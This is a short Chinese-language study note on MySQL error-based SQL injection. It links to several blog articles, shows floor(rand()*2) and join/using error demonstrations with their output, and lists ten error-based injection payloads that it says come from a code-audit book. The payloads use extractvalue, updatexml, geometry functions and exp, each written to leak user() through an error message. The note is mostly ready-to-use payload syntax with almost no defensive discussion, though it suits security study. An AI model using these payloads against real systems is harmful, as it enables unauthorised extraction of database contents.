SQl报错注入

报错注入：extractvalue、updatexml报错原理

https://www.cnblogs.com/laoxiajiadeyun/p/10488731.html

学习基于extractvalue()和updatexml()的报错注入

https://blog.csdn.net/zpy1998zpy/article/details/80631036

sql基于 extractvalue()，floor()，updatexml()函数的报错注入

https://blog.csdn.net/qq_39101049/article/details/88839514

SQL注入——报错注入

https://www.cnblogs.com/richardlee97/p/10617115.html

mysql报错注入原理_Mysql报错注入之floor(rand(0)*2)报错原理探究

https://blog.csdn.net/weixin_31481495/article/details/113229331

sql预处理注入

floor(rand()*2)  报错

mysql> select count(*),concat((select database()),floor(rand()*2)) as a from information_schema.tables group by a;

ERROR 1062 (23000): Duplicate entry 'test0' for key '<group_key>'

 

join  using 报错  

mysql> select * from (select * from test as a join (select * from test )b)c;

ERROR 1060 (42S21): Duplicate column name 'id'

mysql> select * from (select * from test as a join (select * from test )b using(id))c;

ERROR 1060 (42S21): Duplicate column name 'title'

mysql> select * from (select * from test as a join (select * from test )b using(id,title))c;

 

十种MySQL报错注入

以下均摘自《代码审计：企业级Web代码安全架构》一书

1.floor()

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue()

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.geometrycollection()

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

5.multipoint()

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon()

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon()

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring()

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring()

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.exp()

select * from test where id=1 and exp(~(select * from(select user())a));